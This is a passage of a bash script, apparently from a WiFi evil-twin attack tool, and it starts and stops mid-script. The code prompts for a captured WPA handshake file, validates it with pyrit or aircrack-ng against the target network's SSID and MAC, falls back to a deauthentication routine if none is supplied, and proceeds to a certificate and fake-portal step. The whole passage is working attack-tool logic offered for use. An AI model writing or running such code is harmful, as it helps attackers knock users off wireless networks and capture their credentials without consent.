fi
if [ "$handshakeloc" = "" ]; then
echo
echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)"
echo -e "Press ${yellow}ENTER$transparent to skip"
echo
echo -ne "Path: "
if [ "$FLUX_AUTO" = "0" ];then
read handshakeloc
fi
fi
if [ "$handshakeloc" = "" ]; then
deauthforce
else
if [ -f "$handshakeloc" ]; then
pyrit -r "$handshakeloc" analyze &>$flux_output_device
pyrit_broken=$?
if [ $pyrit_broken = 0 ]; then
Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2)
Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')
else
Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}')
Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}')
fi
if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then
if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then
cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap
certssl
else
echo -e $yellow "Corrupted handshake" $transparent
echo
sleep 2
echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]"
echo
read handshakeloc_aircrack
echo -ne "$transparent"
if [ "$handshakeloc_aircrack" = "" ]; then